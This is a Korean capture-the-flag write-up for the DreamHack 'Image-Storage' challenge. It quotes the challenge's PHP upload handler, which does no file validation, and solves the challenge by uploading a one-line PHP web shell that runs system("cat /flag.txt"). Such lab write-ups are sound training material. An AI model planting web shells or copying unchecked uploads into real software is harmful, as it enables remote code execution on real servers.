[Web Hacking] DH Image-Storage

KyungH·2024년 3월 13일

Web Hacking War Game

목록 보기
11/17
post-thumbnail

📝Problem - Image-Storage

php로 작성된 파일 저장 서비스이다. 3개의 페이지가 있으며 각각 메인페이지,
파일을 업로드할 수 있는 페이지, 업로드한 파일을 확인하는 페이지이다.


📌Approach

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>

파일을 업로드 하는 페이지이다. 이용자가 업로드한 파일을 uploads 폴더에 복사하며, 이용자는 http://host1.dreamhack.games:[PORT]/uploads/[FILENAME] URL을 통해 접근할 수 있다.

업로드할 파일에 대해 어떠한 검사도 하지 않으므로,
웹 셸 업로드 공격에 취약한 것을 알 수 있다.


📌Solution

웹 셸 업로드를 통해 flag.txt를 읽게하면 된다.
cat명령어를 통해 파일을 읽으며, php코드는 다음과 같다.

<?php
  system("cat /flag.txt");
?>

이 파일을 업로드하고 /List 페이지에서 업로드한 파일을 확인하면, FLAG를 획득할 수 있다.


References

DreamHack 강의 - Exercise: File Vulnerability

0개의 댓글